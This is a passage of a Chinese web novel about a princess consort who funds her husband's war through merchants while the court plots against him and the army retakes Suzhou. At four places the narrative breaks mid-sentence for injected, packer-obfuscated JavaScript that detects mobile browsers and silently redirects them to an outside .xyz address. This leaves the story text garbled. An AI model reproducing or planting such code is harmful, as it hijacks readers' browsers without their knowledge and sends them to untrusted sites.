“太|祖皇帝不是也曾给人做过臣子?他率领重兵荡平南方诸国,从越国公一路向上,最终推翻旧主,建立越朝。可你听过谁敢骂他乱臣贼子吗?” “当时或许有吧。可如今,天下百姓只会记得是他彻底结束了南方诸国割据,以致烽烟四起民不聊生的乱战局面。” “只要你所作所为利于民生、问心无愧,那就不要在意旁人如何评说。千百年后,自有分晓。” 老爷子看着若有所思的外孙女,笑着问道:“你还记得,我为什么给你取这个名字吗?” “当然记得。您说过,我的名字是从诗圣杜甫的《秋雨叹》中来的。” “阑风长雨秋纷纷,四海八荒同一云。*”老爷子吟诵了一遍诗文,长叹一声,“你母亲怀上你的时候,朝廷刚结束了和晋朝的交战。上任齐王,还有邢国公的两个儿子都先后死在了战场上。当时的杭州城里更是挤满了从边境逃来的难民,数量远非如今的洪州可比。” “那一年多的战争,就像是杜甫诗里下个不停的秋雨,几乎把所有人都笼罩在阴云之下。” “当时我就想啊,要是这笼盖四野的云不是那么残酷无情,而是能为天下黎民计,那该有多好。” 他伸手抚了抚外孙女的发顶:“你以前是那么小那么瘦,我那时只希望你能平平安安地长大,甚至都有点后悔给你取了这样一个名字。” “可你今天问我,想要争取权力的想法好不好。” “你长大了,想要去承担更多责任了,外祖父很高兴。” “既然你想,那就努力去争。去成为那片倾盖天下的云,从此庇佑他人,不必再受风雨烈阳之苦。” ***** 那天和老爷子廊下谈心之后,姜同云终于做出了决定。 她想去争。她要去争! 既然她都敢拿命去陪谢怀雵赌,为什么不能拿出勇气,去做一些更有意义的事情? 只是,争夺话语权这种事情,不是靠着一段婚姻关系就能轻松实现的。现在就莽莽撞撞地跑去寿州没有任何好处。姜同云需要做好充足的准备。 如今前线正在交战,谢怀雵那里最缺的,应该就是人、钱、粮。 军队暂时倒是不缺,但钱粮一直是谢怀雵头疼的问题。 毕竟不能指望金陵那边,正在准备和谈的谢怀晟能好心提供后勤供应吧。 所以谢怀雵出发去寿州之前,已经叫人用最快的速度处理了齐王府的一部分钱财,并拿出了一部分用于采购粮草,以应对前期战况。 要是一切顺利,能在边境快速取得战果,那他后续就可以走以战养战的路子。 法子虽然惊险了些,但也是无可奈何之举。 现在姜同云想要主动参与到这场战争中,后勤这块也就成了她最好的突破点。 人马这事,姜同云目前是帮不上忙的。不过后两者,她还可以帮着想想办法。 她到底也是做过粮米生意的,筹备粮草多少也有路子。主要的问题,还是在钱上。 杭州的铺子关门后,姜同云手里倒是多了一笔资金,可以先顶一段时间。 她先用这笔钱,从以往合作过的粮商手里采购了一批粮草,找人给谢怀雵送了过去。 一同送去的还有一封信件,里面询问了谢怀雵是否需要别的东西,她可以想办法看看能不能帮忙买到。 第一步完成后,姜同云又盯上了婺州那座还没被完全刮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15036446|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干净的齐王府。 谢怀雵只是变卖了好出手的那些产业,倒是完全没想过,王府本身也是值钱的。 后院里那些密密麻麻的小院子,别看空间不大,但当年建造时用的全是好料子。 还有屋子里那些家具装饰,也都是能卖上价的。 这要是全给拆下来,也值不少银钱呢,又能供前线用一阵子了。 姜同云拿定主意,立刻写信送回婺州,指定了几个王府管事,共同去办拆屋卖钱的活。 不过这些都只是短期的法子。 光凭他们这点家底,要是只供给寿州那三五万人的军队倒也还行。可如果以后局势发生变化,谢怀雵能够收拢更多的人马,那就有些捉襟见肘了。 所以最好的办法,还是去吃大户。 只是大户们也不傻。 他们现在的日子过得好好的,凭什么要把脑袋悬在裤腰带上,跟朝廷作对去支持谢怀雵呢? 姜同云反复思量了几天,还是决定先把吃大户的计划放一放。 可以先跟那些粮商和商队维持好关系。等谢怀雵那边取得一定的战果后再尝试拉拢他们。毕竟招商也是要有实力和好处,才能吸引到资金的嘛。 定下后续搞钱的计划后,姜同云终于有空开始进行另一项工作—— 锻炼身体。 伟人说的好:身体是革命的本钱。 不管是为了短期计划里打入谢怀雵集团内部、成为原始股东的目的,还是为了将来实现更长远的目标,姜同云都需要有个健康的身体做支撑。 所以她找上邢国夫人还有柳四娘,请她俩给自己制定相应的训练课程。 邢国夫人主要负责教授姜同云骑射,还有一些兵法入门课程。 老夫人的年纪虽然大了点,但比起柳四娘来,她到底是真的在边境待过,还亲历过数次战场。她的阅历和经验才是最为宝贵的东西。 柳四娘那边,则主要负责提升姜同云的体能,同时还教她一些简单的拳脚、逃命功夫。 这么多课一起上,加上还要处理购买粮草和婺州拆房的事情,姜同云的时间一下被排得满满当当。 不知不觉间,小半个月的时间就过去了。 这日一早,姜同云照例起来跑步晨练。 很明显,这些天的锻炼有了初步的成效。尽管这段时间的天气越来越冷,但姜同云已经不像刚来洪州时那样怕冷了。 等跑完步回来,她又紧着时间翻看收到的书信,顺便吃个早饭。 吃了两口面条下去,姜同云才后知后觉地反应过来,今天好像是她的生辰。 不过生辰也没用。严格的老师是不会因为她过生日就给她放假的。 等结束了早上的弓箭课程,累得手都快抬不起来的姜同云才有空坐在廊下稍稍休息一会儿。 看着她喘气的模样,邢国夫人笑着说道:“已经进步许多了。今天一次都没有脱靶呢。” 姜同云一边给自己扇风,一边苦笑着说道:“跟您比还差得远呢。” 她也没指望自己能达到邢国夫人当年的水平,但至少不能连现在的老夫人都比不过吧? 还得再练! 正说着话,木樨喜气洋洋地跑了进来。 “刚刚收到的消息!七日前,晋军佯攻寿州。殿下不仅率军剿灭了徐王派出的人马,还趁势一举收复了两处被占的城镇!” 88. 商队 谢怀雵得胜的消息传至洪州,姜同云等人自然高兴不已。 但金陵皇城里的气氛可就不太妙了。 听喜气洋洋的朝臣们连连夸赞谢怀雵,根本无法感受到这种快乐的谢怀晟憋着一肚子的火气,借口身体不适,提前结束了今日的朝会。 比起收复失地、抗击晋军,谢怀晟更在意他那受到挑衅的权威。 自己前脚提出割地岁币和亲的和谈条约,他谢怀雵后脚就带人打回了两处城镇,这都不只是在跟自己对着干,更是哐哐往自己脸上甩巴掌了! 要不是随着战报一起送回来的还有谢怀雵附上的先帝密旨,谢怀晟说什么都要以擅离封地的罪名直接弄死他。 气恼地踢倒侍奉的宫人后,谢怀晟扫掉书案上的笔墨纸张,重重地把脚蹬在案上。 跟在他后面进入紫宸殿的孙潜挥了挥手,示意侍奉的宫人全部退下。 “陛下何必如此气愤。” “朕怎么能不气!”谢怀晟狠狠地朝桌沿踹了一脚,“你说那个老东西,怎么就还能给谢怀雵一道密旨呢!” 谢怀晟平时都还是会恭恭敬敬地称呼先帝为“皇考”的,今天居然连“老东西”都叫出口了,可想而知他现在到底有多么生气。 孙潜连忙安抚道:“虽然凭着那道封官遗旨,我们暂时拿谢怀雵没办法,不过局面也不是全然不利于我们的。” “如今前线战事吃紧,即使成功和谈,到底也拿不回已经丢失的领土,总归有损陛下颜面。”孙潜对自己这个外甥了解的很,哄起他来也算得心应手,“如今有人愿意替陛下在前面厮杀,陛下不妨暂且容他一段时日。等收回失地后,咱们有的是办法处理他。” “有的是办法处理?!”谢怀晟就不是那种能耐得住性子的人,“朕现在都没办法按死他,等他拿回宿州,名望地位齐备,又有人马在手,朕只会更要他不得!” “谢怀雵就算再有名望,那他也还是您的臣子呀。”孙潜倒是很稳得住,“所谓君要臣死,臣不得不死。就算一时之间杀不了他,但钝刀子割肉,有的是让他难受的法子。只要您还坐在这把龙椅上,咱们就占着先机,旁的都可以徐徐图之。” 见谢怀晟表情有所松动,但仍旧透着不悦,孙潜又道:“陛下要是实在想出这口气,也不是没有办法。” “打仗嘛,最要紧的就是兵马钱粮。光凭他谢怀雵是养不起一支军队的,他迟早要向朝廷开口求援。到时候咱们这边只要稍微拖上一拖,就够让他焦头烂额的了。” 果不其然,一听这话,谢怀晟的神色就舒缓了许多:“这倒是个好主意。朕不给他任何支援,看他怎么继续打胜仗!” 谢怀晟才不管什么军情紧急。只要能恶心谢怀雵,就算给对面送两座城又如何? 听出谢怀晟话里的意思,孙潜连忙劝道:“这可使不得!” 谢怀晟斜了他一眼:“有什么使不得的。” 孙潜眼珠一转,立刻想到了说辞:“真要什么都不给,那谢怀雵说不得就破罐破摔了。陛下且先拿人马粮草吊着他,要他用打回来的城池来换。这样不论他拿回多少东西,最后全都在陛下掌握之中,岂不比直接逼反他要好?” “另外,陛下也可以先派人去婺州拿住谢怀雵的家小,这样咱们手上不就多了一点筹码吗?” 谢怀晟仔细一想,也确实是这个道理。 他终于露出了笑容来:“好,那就按你说的办!” ***** 谢怀晟那边计划得挺好,却不知道,不仅婺州城里的人早跑了,谢怀雵也根本就没有向金陵求援的打算。 谢怀雵也知道自己这边的情况,一开始就打定了主意要速战速决。拿回两镇之后,他迅速集结人马,联合提前约定好的另外两州的守军,趁着现在势头正旺,打算直接反攻宿州。 也多亏了姜同云替他筹集到的那批粮草,不然谢怀雵也不敢立刻就冒这个险。 洪州。 夜雨淅淅。 姜同云站在地图前,举着灯盏听邢国夫人给她分析形势。 “以我对齐王殿下的了解,他应当会整顿人马,继续进攻。”邢国夫人拿着两枚改造后的绣花针,将它们分别扎在地图上,“他先夺了这两处镇子,通向宿州的通道基本已经被打通。那么接下去,他很有可能会直接向宿州发起进攻。” 跟着学了好一段时间的姜同云已经不是最开始那个如听天书的小白选手。 听完邢国夫人的分析后,她立刻提出了疑问:“徐王的大部队如今就驻扎在宿州。寿州只有五万人马,双方差距过于悬殊。而且这两边都还有一部分城镇处于徐王的掌控之中,此时贸然出兵,难道不会被三面包抄?” 邢国夫人对她的学习进度非常满意:“你说得对。不过据我估算,如今宿州城的防备应当还没完全修缮好,加上晋军刚在齐王手中连败三次,现在算得上是地利、人和皆备。再拖上一段时间,等天气变得更冷,只会对我方更加不利。” 姜同云想了想:“所以现在我们也是不得不打?” 邢国夫人点了点头:“但就算是被迫而为,当中也有计划余地。如今边境几州的守将都是由大行皇帝刚刚换上的、靠得住的人。齐王一定会选择和他们联手对敌,而非孤军深入。” 姜同云皱起了眉头:“……那我刚刚送去的那批粮草会不会不够用啊?” 毕竟她是按照五万人的标准筹的粮。 邢国夫人笑了:“所以你也好让项将军帮忙引荐洪州城里的富商巨贾了。” 如今谢怀雵已经初步证明了自己的实力,姜同云也是该开始进行她的招商引资计划了。 ***** 说是要找项将军做中间人,但姜同云也没有那么快就去找那些富商们。 姜同云知道,那都是些不见兔子不撒鹰的主儿,光凭现在那点战绩和自己的嘴皮子,根本就不足以令他们动心。 想要钓上这种等级的大鱼,鱼钩上的饵料还得挂得更多一些。 这天一早,洪州城里进来了两支商队。 都是经常走南闯北的队伍,他们对洪州也很是熟悉,一入城就各自找住惯了的客栈。 位于城北的悦来客栈就接待了其中一支商队。 客栈小二自然而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15039197|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然地同相熟的商队伙计聊着天:“这趟出门赚了不少吧?不然怎么舍得开这么多房。” 商队伙计正要接话,年长的领队立刻走了过来,笑着打了个哈哈:“确实赚了一些。主要还是这趟大家伙都辛苦,吃住上可不能委屈了。” 安排好住处,小二溜溜达达下了楼,拉住正在算账的掌柜,偷偷跟他交代起来:“……口风紧着呢,他们领队看得跟什么似的,半个字都不肯透露。我看他们这回指定是挣了不少!” 为了佐证自己的话,小二又补了一句:“刚才下楼前,我还挺见他们领队的在说,要赶紧把余下的货物处理了,轻车简行方便回去。” 掌柜的捋了一把山羊胡:“是有点不对劲。”姓王的那个老小子,最是精打细算,做起买卖来一向不紧不慢,生怕自己吃亏。这回居然说要赶紧处理,怎么看怎么有问题。 想到东家安排自己过来管这处客栈,就是为了多从那些南来北往的商队那里打探消息,掌柜的当即从柜台下摸出两壶酒来:“你去叫后厨做两个好菜,晚些时候我去套套话!” 当天晚饭时分,掌柜的从醉酒了的王领队嘴里,套出来一条重要的消息。 他们商队如今正在往前线运粮! 先前就是因为朝廷支援不及,才叫邢国公亡于宿州、边境接连失地。如今刚领着寿州守军打了胜仗的齐王不敢完全依赖朝廷,所以才和民间商队有了合作。 听说那位齐王殿下出手阔绰,不仅给商队开了个好价,还答应他们,等将来收复宿州之后,会给他们商队互市的经商许可! 这可就不得了了! 别看越晋两国之间经常会有摩擦,但双方并没有完全切断贸易往来。 每次战争结束、双方和谈之后,两国边境的互市就会开放,满足一定条件的商人就可以和对面做生意了。 这里面的赚头那是相当厉害! 要是你胆子够大,敢往更北面走,那在晋朝之外,还有不少异族部落。越朝的丝绸茶叶等物要是带到那里去,保管你能赚得盆满钵满! 不过互市名额有限,这次王领队带领的这支商队还要跟另外一支商队互相竞争。谁能办好运粮的事,谁就能拿下最终韩国的经商许可。 所以一向锱铢必较的王领队才会叫伙计们快点在洪州城里处理掉余下的货物。他是打算赶紧回去继续筹粮,好继续往寿州城里送呢! 套出这条消息后,悦来客栈的掌柜在第一时间把事情上报给了他的东家、洪州城的巨富闻家。 与此同时,同样的消息通过不同的渠道,被分别传递给了洪州最有钱的几户人家。 这些富商们自然也知道其中的巨大利益。 只是…… 要是做出这种允诺的是邢国公,他们一定不会有丝毫犹豫。 谢怀雵虽是齐王,但到底也只是宗室,还刚在寿州站稳脚跟。他真能做主许出这种好处吗? 富商们翻来覆去想了一夜,最后做出了惊人一致的决定:先找专业人士资讯一下! 而距离他们最近、同时也是最专业的人士…… 项将军,就是您了! 89. 新雪 送走最后一位登门拜访的富商之后,洪州驻军统领项承和终于松了口气。 “可算是完成了齐王殿下的嘱托。”他摸了摸灌了一肚子茶水的肚子,笑呵呵地跟自家夫人说道,“这几日我都喝了好几斤的茶水了。” 他本人不是很爱喝茶,但要接待客人总不能太过怠慢。何况洪州的这些富商巨贾们一向追求风雅,要想镇住他们,这种细节可不能马虎。 和因为性格耿直、不善正面对敌、但因练兵才能过于突出才被调去越州的关正青不同,项承和是因为伤病才从前线退下来的。 因为他性格平和稳重,待人接物方面尤为突出,在军中的时候就经常负责协调各方关系。所以离开前线之后,邢国公特意替他选了洪州这样一个水路发达、联通各方,却又不靠近前线的要地。 在洪州的这几年里,项承和充分发挥所长,跟他管辖范围内几州官员还有当地望族豪强们的关系处得都相当不错,算是在这块人情关系错综复杂的地方扎扎实实地站稳了脚跟。 这也是当初谢怀雵选择把姜同云等人送到洪州来的重要原因之一。 “只要能说动他们出钱出力,这茶就不算白喝。”项夫人笑着说道。 “这倒也是。只要能夺回宿州,我就是再喝几十斤茶水也使得!” 几日前,收到谢怀雵寄来要求帮忙的信件之后,项承和毫不犹豫地就答应了。 不光是为了他和谢怀雵昔日的情谊,他更希望谢怀雵能毫无后顾之忧地在前方作战,夺回宿州。 他不希望,自己最崇敬的恩师饮恨九泉。 想起邢国公,项承和又记起了邢国夫人:“今早你去探望过老夫人了?她现今如何?” 齐王妃带着邢国夫人到洪州已有一段时日了。但为了他们的安全着想,项承和一直忍着没有登门。 直到今天,他才让自家夫人以探望娘家长辈的名义过去探望了一回,顺便和策划了这次吸纳富商投靠计划的齐王妃交流一下进程。 “老夫人几乎没什么变化,瞧着和咱们当年在金陵拜见她时一样。对了,我过去的时候,她还在教齐王妃射箭呢。”项夫人说着还比划了一下,“这么大一张弓,她老人家拉起来轻轻松松!” 听到邢国夫人还拉得动弓,项承和半是高兴半是叹息地说道:“恩师年近七十,照样提枪策马。老夫人亦是一代英豪,半点不输于他。” “等到来日,有老夫人出面替齐王发声……”愿意倒向齐王的人只怕不计其数。 是的,项承和也已经猜到了谢怀雵的打算。 不,也不能说是猜到。 毕竟以如今坐在金陵龙椅上的那位的性情来看,如果谢怀雵在收复失地后就立刻收手,那等待他的只会是抄家灭门。 虽然项承和一直记着邢国公忠君爱国的教诲,但他不是那种迂腐守旧的人。 打从金陵拖拖拉拉不肯给宿州充足的人马支援开始,项承和就已经开始对朝廷产生不满。 这种不满,在邢国公力战至死,谢怀晟却下令削爵抄家时,达到了顶峰。 所以当项承和意识到谢怀雵有了取代谢怀晟的意图时,项承和心里只有抑制不住的高兴。 要是谢怀雵能赢,那恩师就有平反昭雪的一天! 正是怀抱着这样的期许,项承和才毫不犹豫地同意给谢怀雵帮忙。 虽然这条路充满了艰险,但项承和知道,和他抱有同样想法的人,一定不在少数。 ***** “一切顺利!”看完谢怀雵寄来的信件,知道他那边已经成功和洪州几家富商派去的人达成合作后,姜同云高兴地握了握拳。 听到这个好消息。老爷子和邢国夫人也一样笑了起来。 “多亏有同云帮忙筹谋,不然事情也不会这么顺利。”经过这么多天的教学活动,邢国夫人如今与姜同云的关系已经亲近许多。现在她已经把姜同云当成自己半个弟子来看,私下里都是直接称呼姜同云的名字。 小徒弟做成功了事情,邢国夫人自然不吝夸奖。 姜同云被夸得有些不好意思,连忙说:“全靠项将军帮忙。要不是有他出面作保,那些富商哪有那么容易被说动。” 也不知道这位项将军私下里都说了些什么,据说那些富商们表现得十分积极,仿佛生怕自己到晚了错过好处。 “项承和一向最是擅长处理这些人情关系。”邢国夫人对他的能力也相当认可,“有了洪州富商们打头,接下去咱们想拉别地巨富们下水就会容易许多。” 姜同云点了点头:“接下去我打算找杭州的下手。” 毕竟她对杭州更加熟悉一些。 听到姜同云说杭州,老爷子捋胡子的手顿了顿:“要不,我替你回一趟杭州?” 姜同云一时有些犹豫。 她当然知道,以外祖父的名望,他亲自去效果肯定更好。 但听说金陵那边已经派人去过婺州了。在扑了个空的情况下,谢怀晟有多窝火那是可想而知的。要是老爷子这个时候回到杭州,保不齐就会遭到有心人举报。 老爷子非常清楚外孙女在担心什么。 他笑着说道:“你放心,我肯定不会这样大摇大摆地回去,也不会直接和那些富商们接触。你忘了?卫老头如今还在杭州呢。” 老爷子说的,是曾经的御史中丞卫大人。 前两年,眼看朝局紧张,上了年纪又多病痛的卫大人干脆以病辞官。 当时还活着的大行皇帝自然也挽留过,甚至提出过给他升官。但去意已决的卫大人毫不留恋,数次请辞。大行皇帝无奈,只好允准。 也亏得这一辞职,让一向不屈从强权的卫大人逃过了后来血洗宫城一劫。 考虑到卫大人毕竟尽忠尽责这么多年,大行皇帝虽然同意他告老回乡,但也加赐了他一个太傅虚衔,要求杭州当地官员对卫老大人多加礼待。 “听说卫老头回杭州以后,杭州那些官员富商们对他可上心了。我这趟回去,正好也给他找点事情做,免得他老在家闲着。” 见姜同云还是有些犹豫,老爷子又加了一码:“不回去一趟我也不放心啊。我听人说,卫老头最近被金陵那些消息气得够呛,闹了好几回要去上书。他那笔杆子你也知道,骂起人来专挑痛处戳。真要是让他上书,金陵那位能容得下他吗?” “杭州的那些老友们都快劝不住他了。我这次回去也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045734|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是想帮着拦一拦,免得他又犯轴。” 听到这里,姜同云也没法再说反对的话了:“那好吧。我让人替您准备好假的的身份路引。” “您这一去,务必小心!” ***** 姜同云写了封信,把老爷子要去杭州帮忙的事情告诉了谢怀雵。 谢怀雵很快给她回了一封信来,告诉她不必担忧。 原因非常简单,谢怀晟居然把暗中搜查姜同云和老爷子的任务交给了关正青来办。 当然,谢怀晟会挑中关正青,其实也不算意外。 他目前完全是靠着禁军和金陵驻军才能稳住朝局,对金陵之外的掌控力属实是弱了一些。各地没有掀起对谢怀晟的反对声浪,完全是因为宗室们没有带头发声,加上后来晋军来犯,转移掉了大部分人的注意力。 在这种情况下,谢怀晟能选来办事的人属实不多。 有能力管控婺州及其周边等地、还可能听他指挥的,看来看去好像也就一个和谢怀雵有仇的关正青了。 等等,“和谢怀雵有仇”? 姜同云一时对这个认知的产生感到无比疑惑。 直到读完谢怀雵寄回来的信,她才知道这个误会究竟是怎么来的—— 不知道当时是哪里出了漏子,竟然让谢怀晟知道,婺州守军内部贪腐一案,最初是由关正青以密折的形式报与大行皇帝的。 但就连大行皇帝都以为,当初黄桓的案子是他主动交给谢怀雵去查的,完全没想过他是被谢怀雵设计了才导致了后续的发展情形。 所以在谢怀晟的视角看来,当初那件事情,是关正青刚查出了一点苗头,就被谢怀雵抢了功劳。 再加上他俩之间本来就有不和的传言,另外还有谢怀雵在婺州设宴时曾跟关正青当众发生争吵的事情在,几相叠加下来,谢怀晟认定,关正青心里一定也非常仇视谢怀雵。 敌人的敌人就是朋友! 只要关正青同样讨厌谢怀雵,那把抓捕谢怀雵家眷的事情交给关正青办,就不怕他不肯出力! 所以谢怀晟立刻就给关正青写了一封密旨,要他想个借口,派人在周边地区暗中进行搜查。 说实话,收到谢怀晟这封密旨的时候,关正青完全是摸不着头脑的。 谢怀晟不会以为,他在对邢国公府做出那种事情以后,还能指使得动邢国公昔日麾下的部将们吧? 这些将领们忍到现在没反,完全是因为前线战况要紧,不想现在闹内讧给晋朝的人可乘之机! 不过关正青也不是傻瓜,他很快就从谢怀晟的措辞里琢磨出味来了。 意识到谢怀晟是因为误解了自己和齐王的关系,才会让自己去搜捕齐王的家属,关正青按下愤怒的情绪,假意接下了这个任务。 然后他反手就把谢怀晟卖了。 知道那边如今的情势,加上谢怀雵在信里说,他已经去信托关正青帮忙掩护后,姜同云总算放下心来。 老爷子已经启程回杭。 临近过年,尚未被战争波及到的各处多少都进入了欢庆的氛围。 而在边境宿州,随着一场新雪落下,谢怀雵也指挥兵马,正式展开了夺城之战。 90. 进攻 宿州。 徐王站在城墙之上,遥望着远处已经扎起的越军营地。 他的脚下,忙碌的士兵们顶着还在飘落的雪花,加紧修缮防备工程。 “他们今晚大概还会再来。照旧让人轮班值夜防守。各处防御工事的修补工作也要加紧,不能让他们捡了漏子。” 身旁的副将垂首应是。 几日前,越朝齐王带领的寿州军队正式向晋军大部队所在的宿州发起宣战。 徐王拿下宿州虽有月余,但他前期一直忙着调度人马占领周边城镇,加上原本的宿州守将弃城之前暗中转移走了绝大多数的宿州百姓,徐王这边人手紧缺,就只简单修复了一下城墙损毁的部分。 好在宿州城不亏是由邢国公经营了多年的城池,不仅城墙修得又高又厚,各处防御工事也都做得相当完备,只要稍加修复就能投入使用。 这样的一座城,如果不是当初邢国公突然离世导致越军军心大乱,徐王还真不一定能这么快把它拿下。 如今自己这边虽然弄丢了刚刚打下的两处城镇,但有宿州作为据点,加上晋军人马更多,徐王丝毫不担心接下去的走向。 迟早都是能拿回来的。 不过老被这么拖着,对军队士气也是有影响的。 而且听说父皇最近身体也不是很好…… 徐王思忖片刻,又对副将吩咐道:“你再给徐州去个信,让人以父皇的名义跟金陵那边联系一下,再推一推和谈的事情。” 和谈当然是不可能的。不过领着寿州军过来的齐王明显和金陵现在掌权的那位不和。拿和谈的事情钓住金陵,让对面去给齐王施压。他们内部乱了,自己才能有机会。 自己的那些兄弟们可都不是好对付的。要是只拿下一个宿州做筹码,想跟他们争还是有点不太够。 现在自己这边还有十二万人,但越军那边,原本的寿州军加上先前撤离的宿州军,拢共也只七八万。这样的人数差距,就算只是固守,对面都奈何自己不得。 谢怀雵接连几夜派人来袭扰,无非就是想用这种法子,让自己这边疲于应对,进而动摇军心。 拿我用过的法子来对付我,他未免有点太过天真了吧。 想到这里,徐王眯了眯眼睛,轻蔑地望了越军营地一眼:“让大家都打起精神来。等扛过这几天,本王犒赏全军!” ***** 越军营地内。 谢怀雵巡视结束,回到营帐中:“张将军和吴将军那边情况如何了?” “都在按您的计划进行。” “好。今晚继续佯攻。” 次日一早。宿州城里。 徐王一边洗漱,一边听手下的人汇报昨夜的情况。 “果然不出殿下所料。昨夜对面又佯攻了两回。一次是夜深的时候,一次是在今早天亮之前。” “我们这边早有防备,值守的将士们很快组织起了队伍抵抗。他们每回都只坚持了不到半个时辰就撤离了。” 听到下属的话,徐王不禁冷笑一声:这样的情况完全就在自己预料之内。 “本王料想他们也没别的本事了。”他把擦过的巾帕往水盆里一扔,“昨夜他们去的哪个城门?” “两次都同时去了东、西两座城门。” “那先去两边看看情况。早饭等回来再吃。” 徐王很清楚,在这种情况下,只要能稳住自己军中士卒,对面就拿自己没有办法。所以这些天来,只要夜里对面进行过袭扰,第二天一早,他就会亲自去看望、慰问值夜的将士。 在徐王的这番操作之下,尽管他进攻寿州失利,后面紧接着又丢了两处城镇,但到目前为止,宿州城里十二万晋军的士气还都颇为高涨。 东城门上。 今日风雪已停,还难得出了点太阳。 徐王照例询问了一下昨夜的情形,又好好夸了一番昨夜守城的队伍,随后言语温和地催他们赶快换班休息。 看着守城将士交接完毕,徐王刚准备再去西城门,就听瞭望塔上的士兵突然喊了起来:“有队人过来了!” 徐王立刻转身望去。 城外确实远远地跑来了一队约莫数百人规模的人马。 只是……看他们那个状态,不太像是来攻城的? 徐王探头看了好一会儿,但距离太远,实在看不真切。 他扬声问道:“能看清楚来人的旗帜吗?” 瞭望塔上的士兵瞪着眼仔细看了半天:“回将军!没看见拿旗子!但看他们穿的盔甲好像是自己人!” 自己人? 徐王的眉毛顿时拧了起来。 他直觉有诈,立刻让士兵们拿好弓箭盾牌戒备。 紧张地等了好一会儿,那队人马才跑到近前。 眼看城墙上架起了弓弩,领头的人连忙展开了一面破损的旗帜:“殿下莫射!是我!” 徐王定睛一看,那还真是他们晋军的旗子! 再一看喊话的人,居然是被他派去驻守东面城镇的将领施姚! 徐王心里顿时有了不好的预感。 出于谨慎考虑,他叫人开了侧门,仔细检查后放了以施姚为首的一小队人进城。 一见到徐王,施姚就痛哭着跪了下来:“末将有负殿下重托,未能达成军令!” 方才在城墙上看到施姚的时候,徐王心里就对自己这边再失一地的事情有了准备。 此刻听到施姚请罪,已经冷静下来的徐王也没有太过苛责,毕竟现在最要紧的还是弄清楚情况:“到达怎么回事?谢怀雵的人马这些天全在宿州城外,你那里有一万人在,是被谁夺了城的?” 施姚也知道轻急缓重,当即回答道:“是从濠州方向来的人马!共有五万之数!领兵的是濠州守将吴肃!” “五万?!濠州拢共只有五万守军,他吴肃把所有人都带出来,难道就不怕濠州出问题吗?!” 施姚当初听到下属回报的时候也是完全不信的。但现在的他已经亲眼看过、还亲自跟吴肃交过手了,心里非常清楚事情的真实性。 “末将也不知道吴肃是哪里来的底气,但情况确实如此。咱们在东路打下的城镇已经被吴肃全数拿回,末将还是运气好,才能逃回来见您的啊!”想起自己那些折损的人马,施姚的声音里已经带上了哭腔。 但听到情况汇报的徐王只觉脑袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15048955|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眩:不好! 先不管濠州那边是个什么情况,如今越军两方合流之后,人数就跟自己这边持平了。 施姚战败事小,但他今天当着这么多守城士兵的面,以一副全然落败的姿态逃回来,还带来了这样一个不好的消息,只怕会动摇军心! 想到这里,徐王连忙叫来副将:“传我命令,今日施姚回来一事不得外泄!违令者军法处置!” 副将看了一眼愣在原地的施姚,心里升起了对他的同情:“是。那城外那些人……” 徐王也还没想好要怎么处理施姚带回来的这些士兵们。 要是人少一点倒还好办。可这几百号人,不管是留外面还是放进来都很引人注目。直接杀了的话,城门上这么多人看着,只怕会酿成更糟糕的后果。 还没等他理出个头绪来,城门上又跑上来一个传信兵:“殿下!殿下!” 见徐王的眉头紧紧地拧了起来,副将连忙上前拉了那人一把:“大呼小叫的成何体统!什么事?快说!” 传信兵喘了两口气:“方、方才西城门那里,苏将军带着数百人逃回来了!” 明明是个大好晴天,徐王却觉得有道炸雷砸在了自己脑袋上。 他踉跄着退了一步。 ***** 越州军营内。 谢怀雵招呼辛劳了好几天的张英和吴肃坐下:“这些天真是辛苦两位将军了。” “哪里的话。”张英性情豪爽,当即拱手道,“金陵那边铁了心要和谈,逼着我们做缩头乌龟。幸亏殿下您来了。我们憋了这好久,总算是出了口气。” 当初宿州被围的时候,张英就想过要去支援,但金陵那边一直压着他的折子不肯给出答复。 他本以为有邢国公在,就算金陵拖后腿也不会出什么大问题,谁知道后来…… 